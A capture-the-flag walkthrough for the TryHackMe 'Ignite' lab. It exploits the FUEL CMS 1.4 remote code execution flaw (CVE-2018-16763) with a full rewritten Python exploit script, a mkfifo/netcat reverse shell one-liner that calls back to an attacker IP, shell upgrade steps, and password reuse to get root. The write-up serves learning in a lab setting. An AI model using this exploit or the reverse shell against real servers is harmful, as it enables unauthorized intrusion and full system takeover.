Details
Platform: TryHackMe
Difficulty: Easy
Link: Ignite
Enumeration
Run nmap
default port scan on target with TCP connect/version/script options:
$ nmap -vv -Pn -sT -sV -sC 10.10.211.150
This results in:
(Note: HTTP title “Welcome to FUEL CMS”.)
Google “FUEL CMS” and note description on website:
“The content management system for premium-grade websites.”
Open browser an navigate to target’s open http port 80; note FUEL CMS version v1.4:
Also, note the mention of default credentials:
(Note: Logging in to the portal proved useless.)
Taking a chance on this, use searchsploit
and evaluate results:
$ searchsploit fuelcms 1.4
...
(Note: “ss” in the above is a bash alias for searchsploit
.)
Download the PoC with EDB ID 47138:
$ searchsploit -m 47138
$ dos2unix 47138
47138 Description
47138 demonstrates a PHP code execution vulnerability where un-trusted input results in
Remote Code Execution (RCE). Looking at the code, the vulnerable parameter is highlighted by the burp0_url
variable:
burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
The URL encoded data can be decoded like so:
$ python -c 'import urllib;print(urllib.unquote("%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27\"+urllib.quote(xxxx)+\"%27%29%2b%2"))'
As shown in the decoded PHP code, a call to PHP’s system
results in code execution.
User Shell
I re-wrote the 47138 PoC (fuelpwn.py) and stripped out printing of the GET request’s response and built-in support for the Burp Suite proxy:
"""
FUEL CMS v1.4.1 CVE-2018-16763 PoC.
This PoC was derived from: https://www.exploit-db.com/exploits/47138.
"""
import argparse
import urllib
import requests
parser = argparse.ArgumentParser('Fuel CMS v1.4 CVE-2018-16763 PoC')
parser.add_argument('url', type=str, help='URL to target, e.g. http://127.0.0.1')
parser.add_argument('cmd', type=str, help='Command to execute')
args = parser.parse_args()
url=args.url
cmd=args.cmd
payload="'+pi(print($a='system'))+$a('"+cmd+"')+'"
payload_enc=urllib.quote(payload) # URL encoded payload
filter_path='/fuel/pages/select/?filter='+payload_enc
try:
_ = requests.get(url+filter_path)
except:
pass
(Note: You can download my port, “fuelpwn.py” here.)
This port simplifies getting a reverse shell.
Start a nc
reverse listener on port 4444:
$ nc -vnlp 4444
Run fuelpwn.py supplying target URL and command to execute connecting back to the attacking machine - use fifo since nc
on target does not have support for -e
(see man nc
):
$ python fuelpwn.py http://10.10.211.150 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.4.9.232 4444 >/tmp/f"
(Note: “reverse” in the above is a bash alias for nc -vnlp 4444
.)
Upgrade the shell with a PTY:
$ python -c 'import pty; pty.spawn("/bin/bash")'
$ (Ctrl-Z)
$ stty raw -echo
$ fg
$ export TERM=xterm && reset
Get the user flag.txt:
Root Shell
Track down the FUEL CMS config directory and use grep
to find database password:
Perform the same to find username:
Notice the username is root; test for password re-use against root user and get root.txt:
(Note: supplied password was mememe.)